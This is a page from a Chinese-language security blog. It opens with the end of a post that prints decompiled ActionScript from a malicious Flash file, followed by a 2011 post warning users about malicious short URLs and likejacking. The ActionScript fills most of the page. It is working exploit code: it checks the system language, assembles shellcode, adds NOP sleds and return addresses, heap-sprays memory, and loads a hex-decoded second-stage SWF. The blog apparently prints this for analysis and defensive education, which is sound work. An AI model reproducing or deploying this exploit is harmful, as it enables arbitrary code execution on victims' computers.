this.s.writeInt(3336650628);
this.s.writeInt(1777248617);
this.s.writeInt(3170820415);
this.s.writeInt(1776708065);
this.s.writeInt(659143867);
this.s.writeInt(554313759);
this.s.writeInt(488493206);
this.s.writeInt(1945003837);
this.s.writeInt(1297711467);
this.s.writeInt(867040326);
this.s.writeInt(2249045380);
this.s.writeInt(4011702825);
this.s.writeInt(3653493474);
this.s.writeInt(3806461952);
this.sc_len = this.s.length;
trace("cn");
trace(this.s.length);
this.j = 3084 - this.sc_len;
this.i = 0;
while (this.i < this.j) {
// label
this.s.writeByte(144);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.endian = Endian.LITTLE_ENDIAN;
this.s.writeInt(2008988467);
this.s.writeInt(3435973836);
this.s.writeInt(2008964821);
this.s.writeInt(3435973836);
this.s.writeInt(2008944920);
this.s.writeInt(2009023683);
this.s.writeInt(3435973836);
this.s.writeInt(2009016856);
this.s.writeInt(202113024);
this.s.writeInt(202113024);
this.s.writeInt(8192);
this.s.writeInt(64);
this.s.writeInt(202116560);
this.s.writeInt(0);
this.s.writeInt(202116164);
this.s.writeInt(0);
this.s.writeInt(0);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.i = 0;
while (this.i < this.sc_len) {
// label
this.s.writeInt(1676697940);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.writeInt(1676697940);
this.s.writeInt(1676697940);
this.s.writeInt(1676680900);
this.s.endian = Endian.BIG_ENDIAN;
this.j = 65536 - this.s.length;
this.i = 0;
while (this.i < this.j / 4) {
// label
this.s.writeInt(305419896);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.i = 0;
while (this.i < 16) {
// label
this.s2.writeBytes(this.s, 0, this.s.length);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
trace(this.s2.length);
this.i = 0;
while (this.i < 176) {
// label
this.s3 = new ByteArray();
this.s3.writeBytes(this.s2, 0, this.s2.length);
trace(this.s3.length);
this.a.push(this.s3);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.r_cn = this.hexToBin(this.t);
this.ldr_cn = new Loader();
this.ldr_cn.loadBytes(this.r_cn);
} // end if
if (Capabilities.language.toLowerCase() == "en") {
this.s.writeInt(2425393296);
this.s.writeInt(2425393296);
this.s.writeInt(202150032);
this.s.writeInt(3943717707);
this.s.writeInt(868837049);
this.s.writeInt(1459781684);
this.s.writeInt(199418618);
this.s.writeInt(3943033067);
this.s.writeInt(4294967051);
this.s.writeInt(3554730722);
this.s.writeInt(3184599686);
this.s.writeInt(1137894114);
this.s.writeInt(3798573806);
this.s.writeInt(1772287593);
this.s.writeInt(3798590057);
this.s.writeInt(2331142421);
this.s.writeInt(2296888074);
this.s.writeInt(786686690);
this.s.writeInt(1912609418);
this.s.writeInt(2396115170);
this.s.writeInt(2324793991);
this.s.writeInt(2394319332);
this.s.writeInt(181396450);
this.s.writeInt(3798534792);
this.s.writeInt(3820685903);
this.s.writeInt(3823297024);
this.s.writeInt(459880033);
this.s.writeInt(246835486);
this.s.writeInt(167557899);
this.s.writeInt(350413538);
this.s.writeInt(3087736802);
this.s.writeInt(3806509448);
this.s.writeInt(3800621747);
this.s.writeInt(2964424930);
this.s.writeInt(498398731);
this.s.writeInt(400745186);
this.s.writeInt(171908381);
this.s.writeInt(495030150);
this.s.writeInt(3431438983);
this.s.writeInt(3268256194);
this.s.writeInt(2762846402);
this.s.writeInt(3450913472);
this.s.writeInt(3350704551);
this.s.writeInt(2964500653);
this.s.writeInt(2762714791);
this.s.writeInt(3351162509);
this.s.writeInt(2172882626);
this.s.writeInt(2978453142);
this.s.writeInt(2341242257);
this.s.writeInt(3199633295);
this.s.writeInt(2458751107);
this.s.writeInt(2426127019);
this.s.writeInt(2358675344);
this.s.writeInt(2357696194);
this.s.writeInt(2760609415);
this.s.writeInt(2445197506);
this.s.writeInt(3347825323);
this.s.writeInt(2898446988);
this.s.writeInt(2274726292);
this.s.writeInt(2341242824);
this.s.writeInt(3431502544);
this.s.writeInt(3418531501);
this.s.writeInt(3268070017);
this.s.writeInt(2407976071);
this.s.writeInt(2592588480);
this.s.writeInt(3447833222);
this.s.writeInt(2274280141);
this.s.writeInt(2445461398);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3267675330);
this.s.writeInt(2173538971);
this.s.writeInt(3267413899);
this.s.writeInt(3233990550);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3268254658);
this.s.writeInt(3301229185);
this.s.writeInt(2407976071);
this.s.writeInt(2592588493);
this.s.writeInt(2177012118);
this.s.writeInt(2207291074);
this.s.writeInt(3348531087);
this.s.writeInt(2462563985);
this.s.writeInt(2491517581);
this.s.writeInt(2442579079);
this.s.writeInt(2592587979);
this.s.writeInt(3420588775);
this.s.writeInt(488447361);
this.s.writeInt(2407976071);
this.s.writeInt(2592596490);
this.s.writeInt(471604509);
this.s.writeInt(2375190412);
this.s.writeInt(3800621597);
this.s.writeInt(3035259610);
this.s.writeInt(177662050);
this.s.writeInt(3658192615);
this.s.writeInt(1658456471);
this.s.writeInt(4083391207);
this.s.writeInt(1920103026);
this.s.writeInt(2531944733);
this.s.writeInt(3077115503);
this.s.writeInt(2733055234);
this.s.writeInt(182313698);
this.s.writeInt(3793838810);
this.s.writeInt(177662050);
this.s.writeInt(3658192615);
this.s.writeInt(1658456471);
this.s.writeInt(4083391207);
this.s.writeInt(1920103026);
this.s.writeInt(2516749034);
this.s.writeInt(3907183215);
this.s.writeInt(2733055234);
this.s.writeInt(183886562);
this.s.writeInt(3793816307);
this.s.writeInt(3806519898);
this.s.writeInt(4091799138);
this.s.writeInt(552526345);
this.s.writeInt(3770294538);
this.s.writeInt(454892829);
this.s.writeInt(3106202970);
this.s.writeInt(1807606660);
this.s.writeInt(631629597);
this.s.writeInt(35762537);
this.s.writeInt(1051822242);
this.s.writeInt(2330129122);
this.s.writeInt(3803539876);
this.s.writeInt(3993672221);
this.s.writeInt(488487457);
this.s.writeInt(3014945175);
this.s.writeInt(3731461836);
this.s.writeInt(2598442932);
this.s.writeInt(1771356897);
this.s.writeInt(399584171);
this.s.writeInt(2739921191);
this.s.writeInt(3510234460);
this.s.writeInt(4074255510);
this.s.writeInt(3928173029);
this.s.writeInt(3778585097);
this.s.writeInt(333053335);
this.s.writeInt(96233916);
this.s.writeInt(3336650628);
this.s.writeInt(1777248617);
this.s.writeInt(3170820415);
this.s.writeInt(1776708065);
this.s.writeInt(659143867);
this.s.writeInt(554313759);
this.s.writeInt(488493206);
this.s.writeInt(1945003837);
this.s.writeInt(1297711467);
this.s.writeInt(867040326);
this.s.writeInt(2249045380);
this.s.writeInt(4011702825);
this.s.writeInt(3653493474);
this.s.writeInt(3806461952);
this.sc_len = this.s.length;
trace("en");
trace(this.s.length);
this.j = 3084 - this.sc_len;
this.i = 0;
while (this.i < this.j) {
// label
this.s.writeByte(144);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.endian = Endian.LITTLE_ENDIAN;
this.s.writeInt(1995123259);
this.s.writeInt(3435973836);
this.s.writeInt(1995172943);
this.s.writeInt(3435973836);
this.s.writeInt(2009141528);
this.s.writeInt(2009220291);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(2009213464);
this.s.writeInt(202113024);
this.s.writeInt(202113024);
this.s.writeInt(8192);
this.s.writeInt(64);
this.s.writeInt(202116560);
this.s.writeInt(0);
this.s.writeInt(202116164);
this.s.writeInt(0);
this.s.writeInt(0);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.i = 0;
while (this.i < this.sc_len) {
// label
this.s.writeInt(1676697940);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.writeInt(1676697940);
this.s.writeInt(1676697940);
this.s.writeInt(1676680900);
this.s.endian = Endian.BIG_ENDIAN;
this.j = 65536 - this.s.length;
this.i = 0;
while (this.i < this.j / 4) {
// label
this.s.writeInt(305419896);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.i = 0;
while (this.i < 16) {
// label
this.s2.writeBytes(this.s, 0, this.s.length);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
trace(this.s2.length);
this.i = 0;
while (this.i < 176) {
// label
this.s3 = new ByteArray();
this.s3.writeBytes(this.s2, 0, this.s2.length);
trace(this.s3.length);
this.a.push(this.s3);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.r = this.hexToBin(this.t);
this.ldr = new Loader();
this.ldr.loadBytes(this.r);
} // end if
if (Capabilities.language.toLowerCase() == "ja") {
this.s.writeInt(2425393296);
this.s.writeInt(2425393296);
this.s.writeInt(202150032);
this.s.writeInt(3943717707);
this.s.writeInt(868837049);
this.s.writeInt(1459781684);
this.s.writeInt(199418618);
this.s.writeInt(3943033067);
this.s.writeInt(4294967051);
this.s.writeInt(3554730722);
this.s.writeInt(3184599686);
this.s.writeInt(1137894114);
this.s.writeInt(3798573806);
this.s.writeInt(1772287593);
this.s.writeInt(3798590057);
this.s.writeInt(2331142421);
this.s.writeInt(2296888074);
this.s.writeInt(786686690);
this.s.writeInt(1912609418);
this.s.writeInt(2396115170);
this.s.writeInt(2324793991);
this.s.writeInt(2394319332);
this.s.writeInt(181396450);
this.s.writeInt(3798534792);
this.s.writeInt(3820685903);
this.s.writeInt(3823297024);
this.s.writeInt(459880033);
this.s.writeInt(246835486);
this.s.writeInt(167557899);
this.s.writeInt(350413538);
this.s.writeInt(3087736802);
this.s.writeInt(3806509448);
this.s.writeInt(3800621747);
this.s.writeInt(2964424930);
this.s.writeInt(498398731);
this.s.writeInt(400745186);
this.s.writeInt(171908381);
this.s.writeInt(495030150);
this.s.writeInt(3431438983);
this.s.writeInt(3268256194);
this.s.writeInt(2762846402);
this.s.writeInt(3450913472);
this.s.writeInt(3350704551);
this.s.writeInt(2964500653);
this.s.writeInt(2762714791);
this.s.writeInt(3351162509);
this.s.writeInt(2172882626);
this.s.writeInt(2978453142);
this.s.writeInt(2341242257);
this.s.writeInt(3199633295);
this.s.writeInt(2458751107);
this.s.writeInt(2426127019);
this.s.writeInt(2358675344);
this.s.writeInt(2357696194);
this.s.writeInt(2760609415);
this.s.writeInt(2445197506);
this.s.writeInt(3347825323);
this.s.writeInt(2898446988);
this.s.writeInt(2274726292);
this.s.writeInt(2341242824);
this.s.writeInt(3431502544);
this.s.writeInt(3418531501);
this.s.writeInt(3268070017);
this.s.writeInt(2407976071);
this.s.writeInt(2592588480);
this.s.writeInt(3447833222);
this.s.writeInt(2274280141);
this.s.writeInt(2445461398);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3267675330);
this.s.writeInt(2173538971);
this.s.writeInt(3267413899);
this.s.writeInt(3233990550);
this.s.writeInt(2274333383);
this.s.writeInt(3197211777);
this.s.writeInt(2324533654);
this.s.writeInt(3431438983);
this.s.writeInt(3268254658);
this.s.writeInt(3301229185);
this.s.writeInt(2407976071);
this.s.writeInt(2592588493);
this.s.writeInt(2177012118);
this.s.writeInt(2207291074);
this.s.writeInt(3348531087);
this.s.writeInt(2462563985);
this.s.writeInt(2491517581);
this.s.writeInt(2442579079);
this.s.writeInt(2592587979);
this.s.writeInt(3420588775);
this.s.writeInt(488447361);
this.s.writeInt(2407976071);
this.s.writeInt(2592596490);
this.s.writeInt(471604509);
this.s.writeInt(2375190412);
this.s.writeInt(3800621597);
this.s.writeInt(3035259610);
this.s.writeInt(177662050);
this.s.writeInt(3658192615);
this.s.writeInt(1658456471);
this.s.writeInt(4083391207);
this.s.writeInt(1920103026);
this.s.writeInt(2531944733);
this.s.writeInt(3077115503);
this.s.writeInt(2733055234);
this.s.writeInt(182313698);
this.s.writeInt(3793838810);
this.s.writeInt(177662050);
this.s.writeInt(3658192615);
this.s.writeInt(1658456471);
this.s.writeInt(4083391207);
this.s.writeInt(1920103026);
this.s.writeInt(2516749034);
this.s.writeInt(3907183215);
this.s.writeInt(2733055234);
this.s.writeInt(183886562);
this.s.writeInt(3793816307);
this.s.writeInt(3806519898);
this.s.writeInt(4091799138);
this.s.writeInt(552526345);
this.s.writeInt(3770294538);
this.s.writeInt(454892829);
this.s.writeInt(3106202970);
this.s.writeInt(1807606660);
this.s.writeInt(631629597);
this.s.writeInt(35762537);
this.s.writeInt(1051822242);
this.s.writeInt(2330129122);
this.s.writeInt(3803539876);
this.s.writeInt(3993672221);
this.s.writeInt(488487457);
this.s.writeInt(3014945175);
this.s.writeInt(3731461836);
this.s.writeInt(2598442932);
this.s.writeInt(1771356897);
this.s.writeInt(399584171);
this.s.writeInt(2739921191);
this.s.writeInt(3510234460);
this.s.writeInt(4074255510);
this.s.writeInt(3928173029);
this.s.writeInt(3778585097);
this.s.writeInt(333053335);
this.s.writeInt(96233916);
this.s.writeInt(3336650628);
this.s.writeInt(1777248617);
this.s.writeInt(3170820415);
this.s.writeInt(1776708065);
this.s.writeInt(659143867);
this.s.writeInt(554313759);
this.s.writeInt(488493206);
this.s.writeInt(1945003837);
this.s.writeInt(1297711467);
this.s.writeInt(867040326);
this.s.writeInt(2249045380);
this.s.writeInt(4011702825);
this.s.writeInt(3653493474);
this.s.writeInt(3806461952);
this.sc_len = this.s.length;
trace("jp");
trace(this.s.length);
this.j = 3084 - this.sc_len;
this.i = 0;
while (this.i < this.j) {
// label
this.s.writeByte(144);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.endian = Endian.LITTLE_ENDIAN;
this.s.writeInt(2008857395);
this.s.writeInt(3435973836);
this.s.writeInt(2008833749);
this.s.writeInt(3435973836);
this.s.writeInt(2008813848);
this.s.writeInt(2008892611);
this.s.writeInt(3435973836);
this.s.writeInt(2008885784);
this.s.writeInt(202113024);
this.s.writeInt(202113024);
this.s.writeInt(8192);
this.s.writeInt(64);
this.s.writeInt(202116560);
this.s.writeInt(0);
this.s.writeInt(202116164);
this.s.writeInt(0);
this.s.writeInt(0);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.s.writeInt(3435973836);
this.i = 0;
while (this.i < this.sc_len) {
// label
this.s.writeInt(1676697940);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.s.writeInt(1676697940);
this.s.writeInt(1676697940);
this.s.writeInt(1676680900);
this.s.endian = Endian.BIG_ENDIAN;
this.j = 65536 - this.s.length;
this.i = 0;
while (this.i < this.j / 4) {
// label
this.s.writeInt(305419896);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.i = 0;
while (this.i < 16) {
// label
this.s2.writeBytes(this.s, 0, this.s.length);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
trace(this.s2.length);
this.i = 0;
while (this.i < 176) {
// label
this.s3 = new ByteArray();
this.s3.writeBytes(this.s2, 0, this.s2.length);
trace(this.s3.length);
this.a.push(this.s3);
var _loc_1: String;
_loc_1.i = this.i++;
} // end while
this.r_jp = this.hexToBin(this.t);
this.ldr_jp = new Loader();
this.ldr_jp.loadBytes(this.r_jp);
} else {
trace("I am " + Capabilities.language);
trace("failed");
} // end else if
stop();
return;
} // end function
}
}

繼續閱讀全文...
張貼者： Chris 時間： 上午11:30 0 篇回應
分類： , , ,

2011年4月4日

上網安全之邪惡短網址 (Surfing Secure for URL Shortening Services)

先利用 google 搜尋關鍵字：「短網址」，就可以知道何謂短網址。或者查詢維基百科(Wiki)也行。

常見短網址服務的網域有：
http://tinyurl.com/
http://0rz.tw/
http://0rz.com/
http://ppt.cc/
http://goo.gl/
http://bit.ly/
... ... 其他好多!! 總之我用邪惡短網址稱呼。也許它全然不是壞的，但是幾百個短網址連結，出現一個問題，可能就很頭大；問題是如果要檢查幾百個短網址可能更頭大，你該如何自處呢？點還不點連結？

短網址在網路上使用越來越廣泛了，就連 google 也加入短網址服務，這類短網址還有很多並沒有在清單中。絕大部分的短網址有個特色，域名很短且域名之後為一串固定長度的英數字組成，對於短網址必須具有基本識別能力。對於網站中出現的短網址也必須加以注意，因為，它很容易被利用，做為隱藏惡意連結或惡意網域之用。

為了抓個圖，讓網友了解，等了許久這圖終於出現了：

這可是相當典型的「Likejacking」手法，而且還配合短網址做利用。相關資料可以參考 這裡 還有 這裡 。應該很多人已經點擊該連結了吧，問題是都沒感覺有發生過啥問題...XD。FB 現在還是很甜蜜的，再過段時日，就會有一堆垃圾、廣告、行銷的東東，甚至是惡意連結，出現在大家的牆上，沒辦法，別忘了 FB 可是要取代 EMail 的。

與短網址有異曲同工之妙的，如「OWASP Top 10 for 2010」中，A10: Unvalidated Redirects and Forwards(未驗證的轉址與轉送)。短網址都大辣辣的提供服務了，相較之下，Unvalidated Redirects and Forwards 的問題實在沒啥大不了的。話說回來，把這兩個搭在一起，再做點變形，還蠻好玩的哩，可以更隱密的隱藏惡意連結...@@。

對於網站上短網址的出現，需加以留意。若出現在即時通訊(MSN, Yahoo Messenger, google talk, skype …等)，那就該更加小心。因為，你不知它會連結到哪個網頁上。

其他 Web 常見攻擊手法或衍生資安問題
  • 網頁掛馬手法
  • 魚叉式網路釣魚
  • 關鍵字查詢利用(SEO Poison)
  • 惡意程式的下載與執行
  • 網路個人資料外洩
  • 金融交易資料外洩
  • 網路交易詐騙
  • 詐騙網站、郵件
  • 偽防毒網站(流氓軟體)
  • 人肉搜尋
  • 社群網站的個資
  • 不當網路留言、不當上傳影音照片
  • 內部機敏資料的外洩

結論：
對於企業用戶而言，相信也擺脫不了瀏覽器，無論是存取內部網站或外部網頁，端點安全一直都是企業難以建全防護的地方。對於威脅而言，透過惡意網頁的滲透，很多時候也不需要高深的技術，只需要一個完美策劃的劇本，這將在在考驗企業的用戶。如何修正使用者上網觀念成為重要課題，也僅以此篇文章，與 IT 人員在推廣使用者教育訓練上，提供一些參考方向與觀念內容，強化使用者上網的觀念。

完整文章亦投稿於「資安人雜誌，2010. Jan/Feb. No.73，你的上網行為安全嗎?」
本文也張貼於「資安之我見」。
繼續閱讀全文...
張貼者： Crane_Ku 時間： 上午9:43 2 篇回應
分類：
訂閱： 文章 ( Atom )